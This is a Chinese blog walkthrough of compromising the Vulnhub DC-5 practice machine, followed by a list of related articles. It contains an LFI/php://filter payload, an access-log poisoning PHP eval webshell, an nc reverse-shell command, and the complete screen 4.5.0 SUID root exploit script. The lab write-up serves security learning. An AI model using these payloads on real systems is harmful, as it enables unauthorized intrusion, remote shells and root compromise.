Vulnhub DC-5靶机渗透
信息搜集
老样子,先找到靶机IP和扫描靶机
nmap -sP 192.168.146.0/24 #找靶机ip
nmap -sS -Pn -A 192.168.146.141 #扫描端口

这次开的是80、111端口,而不是22端口。
查一下rpcbind是什么。
rpcbind是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解RPC就是一个中介服务。
尝试使用下面链接的方法收集信息,发现不可行。
https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

直接访问web网站,扫描目录没什么发现。
但是contact us处,重复提交后有个很细微的变化。

再提交一次。

可以看到Copyright后的年份是不同的,这就很奇怪了。
猜测thankyou.php可能是包含了某个页面。fuzz一下,找到了正确的参数file参数,一下就找到了LFI(本地文件包含)漏洞。
getFlag
上面已经说找到了本地文件包含漏洞,那么我们就来利用一下。

直接伪协议走一波读thankyou.php的源码看看。
http://192.168.146.142/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php

base64解密一下,果然是直接include了一个文件。

现在就有思路了:include包含文件,会将文件内容当作php代码解析,那么就可以直接包含日志文件getshell。
但是这里要注意一点:如果使用浏览器直接构造的PHP一句话中,其中的特殊字符会被浏览器进行URL转义,导致无法getshell。

所以这里我们可以选择curl,或者直接抓包修改上传
curl -v "http://192.168.146.142/thankyou.php?file=<?php @eval($_POST\[A1oe\]);?>"或者

访问http://192.168.146.142/thankyou.php?file=/var/log/nginx/access.log

很好看来是解析了,直接蚁剑连上。


为了后续方便提权,反弹一个shell
nc 192.168.146.131 4444 -c /bin/bash

非交互式shell很难用,所以为了方便转换为交互式shell(可以得知该靶机装有python环境)
python -c 'import pty; pty.spawn("/bin/bash")'
接下来就该提权了,尝试使用suid提权。
find / -perm -u=s -type f 2>/dev/null

然后大概搜一下不大了解的命令,搜到screen命令时,可以看到它可以执行shell。

然后从这里入手,searchsploit直接搜一下有没有现成的利用工具。

看一眼这个sh脚本
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshellr
流程很简单,使用libhax.c生成一个动态链接库,再用rootshell.c生成一个获取权限的文件rootshell。然后用umask命令用来设置新建文件权限为777,然后就可以使用screen来提权了。
将这个脚本直接上传来执行,发现执行不了。

看来只能试试手动执行了。(libhax.c和rootshell.c上面的代码中有)
root@kali:~# vi libhax.c
root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c
root@kali:~# vi rootshell.c
root@kali:~# gcc -o rootshell rootshell.c
上传libhax.so和rootshell到靶机。(蚁剑直接拖进去或者nc传输文件)然后按照shell脚本中的顺序执行命令即可。


成功getFlag
总结
本次玩靶机,学习了泄露rpcbind信息的方法(虽然无法利用)。还有就是温习了下LFI漏洞,学习了下suid提权下的screen提权。其他基本都是老套路了。
Vulnhub DC-5靶机渗透的更多相关文章
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- Vulnhub靶机渗透 -- DC5
信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...
- Vulnhub DC-9靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:3靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...
随机推荐
- 记一次华为eNSP设备网络项目基本配置过程
下图为综合项目示例图,详细命令见图下: 屏蔽垃圾信息undo terminal monitorundo terminal trappingundo terminal loggingundo termi ...
- Spark入门(三)--Spark经典的单词统计
spark经典之单词统计 准备数据 既然要统计单词我们就需要一个包含一定数量的文本,我们这里选择了英文原著<GoneWithTheWind>(<飘>)的文本来做一个数据统计,看 ...
- vs2017打包exe安装包
1,安装扩展程序Install Projects 2,在打开的界面搜索Install,找到Install Projects 3,在要打包的项目解决方案下创建一个生成exe的项目 4,在打包项目的文件系 ...
- 【简说Python WEB】视图函数操作数据库
目录 [简说Python WEB]视图函数操作数据库 系统环境:Ubuntu 18.04.1 LTS Python使用的是虚拟环境:virutalenv Python的版本:Python 3.6.9 ...
- 聊聊OkHttp实现WebSocket细节,包括鉴权和长连接保活及其原理!
一.序 OkHttp 应该算是 Android 中使用最广泛的网络库了,我们通常会利用它来实现 HTTP 请求,但是实际上它还可以支持 WebSocket,并且使用起来还非常的便捷. 那本文就来聊聊, ...
- Mass Spectrometry-Compatible Subcellular Fractionation for Proteomics 质谱兼容的蛋白质组学的亚细胞分离(解读人:王茹凯)
文献名:Mass Spectrometry-Compatible Subcellular Fractionation for Proteomics(质谱兼容的蛋白质组学的亚细胞分离) 期刊名:Jpor ...
- 洛谷3834 hdu2665主席树模板,动态查询区间第k小
题目链接:https://www.luogu.com.cn/problem/P3834 对于区间查询第k小的问题,在区间数量达到5e5的时候是难以用朴素数据结构实现的,这时候主席树就应运而生了,主席树 ...
- Linux & Shell 学习笔记【1/2】
因为工作上的需要,花了些许时间去熟悉学习Linux和Shell,现在也花点事件在此记录一下以加强巩固学习的内容吧.学的不算深入,所以都是一些比较junior的内容. 在下一篇随笔会详述之前写的一个用于 ...
- 【codeforces】Codeforces Round #606 E. Two Fairs——图论
题目链接 题意 给你一张无向图,求出有多少对点对(x, y)满足从点x到点y的所有路径必同时经过点a和点b 分析 单点 首先考虑假如点a和点b是同一个点的情况 我从任意的一点出发,把所有与点a/b相连 ...
- 拒绝了对对象 '***' (数据库 'BestSoftDB_P',架构 'sale')的 EXECUTE 权限。
问题描述: 给普通用户授予读写权限,之后研发反映查询语句报错: nested exception is com.microsoft.sqlserver.jdbc.SQLServerException: ...